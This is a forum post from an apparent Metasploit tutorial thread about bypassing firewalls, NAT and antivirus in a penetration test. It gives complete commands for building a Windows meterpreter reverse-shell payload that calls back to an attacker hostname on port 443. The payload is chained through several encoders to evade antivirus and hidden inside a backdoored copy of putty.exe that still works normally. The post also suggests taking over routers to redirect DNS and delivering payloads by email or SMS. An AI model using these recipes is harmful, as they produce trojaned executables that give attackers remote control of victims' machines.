Here is my take on firewall bypass. Again, I am no expert.
For local firewall bypass(windows firewall) I'd be assuming you're on the same subnet as the victim machine, but the local firewall is preventing bind_tcp payloads. Of course in this instance we would just use a reverse_tcp payload.
For NAT traversal/bypass we can assume you would not be on the same subnet as the victim machine. In which case you might hope for open ports of some kind. If the victim machine is totally inaccessible through the NAT, then I might be thinking about using a social engineering attack with a reverse_tcp_dns payload, and point it back to myself with my no-ip hostname or some such. Granted you would need some mechanism to deliver your crafted payload, such as email or SMS, and would also of course need to know WHERE to send it. Hopefully enough time has been spent on the information gathering/enumeration phase of the pentest.
Or you could consider attacking the network equipment first. Suppose you could comprise the router first. Well now you have the keys to the kingdom. maybe modify the DHCP server so that it is handing out your IP as a DNS server, and direct people wherever we like. Some routers can set specific records for specific websites such as 2wire equipment. Maybe the router is capable of a VPN setup that could place us on the same inside subnet as our victim machine(this is Pivoting) and then all we'd have to deal with is the local firewall of the victim machine.
Another thing to keep in mind with a corporate network scenario. There is often a proxy server limiting outbound traffic making the reverse_tcp and or reverse_tcp_dns payloads more difficult to utilize. The one at my work for instance limits everything except 80, 443, 22 and a few others. Things that we would definitely be using in our jobs. Because of these common proxy configurations I like to set my reverse_tcp or reverse_tcp_dns payloads to 443 or another port that is commonly open for users.
Now there is a very interesting payload in the framework now, that might be very useful for this situation. I have never used it myself, however here is the info from it.
Code:
msf > info windows/meterpreter/reverse_tcp_allports
Name: Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
Version: 10394, 8998, 8984
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 294
Rank: Normal
Provided by:
skape <mmiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
hdm <hdm@metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 1 yes The starting port number to connect back on
Description:
Try to connect back to the attacker, on all possible ports (1-65535,
slowly), Inject the meterpreter server DLL via the Reflective Dll
Injection payload (staged)
Regard A/V Bypass, I strongly recommend that interested parties do some reading on this forum. There is a lot of information just in the HowTo section here. Of course we'll need to use encoding. Encoding can be set inside of the exploit module or if you are generating a payload with msfpayload, you can pipe it through msfencode, even multiple times like this;
Code:
root@bt4:~# msfpayload windows/meterpreter/reverse_tcp_dns LHOST=my.no-
ip-hostname.com LPORT=443 R | msfencode -e x86/fnstenv_mov -c 2 -t raw |
msfencode -e x86/countdown -c 3 -t raw | msfencode -e x86/call4_dword_xor -c 1 -t
raw | msfencode -t raw | msfencode -e x86/shikata_ga_nai -c 4 -t exe >
/root/payload.exe
Don't forget you can use/backdoor an existing exe(some will not work. Experimentation is key) as a template with -x. You can even keep the template working with -k so when they run the payload exe, their expected program starts up just fine. Remember to use the -o option with these for your output file rather than redirecting the output. You can also set things up with
Code:
root@bt4:~# msfpayload windows/meterpreter/reverse_tcp_dns LHOST=my.no-
ip-hostname.com LPORT=443 EXITFUNC=thread R | msfenco......etc...
which will keep your meterpreter/payload process alive even when they close the backdoored executable.
There is also more than one way to generate payloads. You can do so within the framework. here is how
Code:
msf > use windows/meterpreter/reverse_tcp_dns
msf payload(reverse_tcp_dns) > set lhost your-noip-hostname.com
lhost => your-noip-hostname.com
msf payload(reverse_tcp_dns) > set lport 443
lport => 443
msf payload(reverse_tcp_dns) > set exitfunc thread
exitfunc => thread
msf payload(reverse_tcp_dns) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
-E Force encoding.
-b <opt> The list of characters to avoid: '\x00\xff'
-e <opt> The name of the encoder module to use.
-f <opt> The output file name (otherwise stdout)
-h Help banner.
-i <opt> the number of encoding iterations.
-k Keep the template executable functional
-o <opt> A comma separated list of options in VAR=VAL format.
-p <opt> The Platform for output.
-s <opt> NOP sled length.
-t <opt> The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
-x <opt> The executable template to use
msf payload(reverse_tcp_dns) > generate -e x86/shikata_ga_nai -i 3 -t exe -x /root/putty.exe -k -f /root/payload.exe
If you do not use the -t option it will generate shellcode by default. Bear in mind, staged payloads such as meterpreter will output shellcode for both stages.
Re: My Metasploit tutorial thread
Originally Posted by iproute
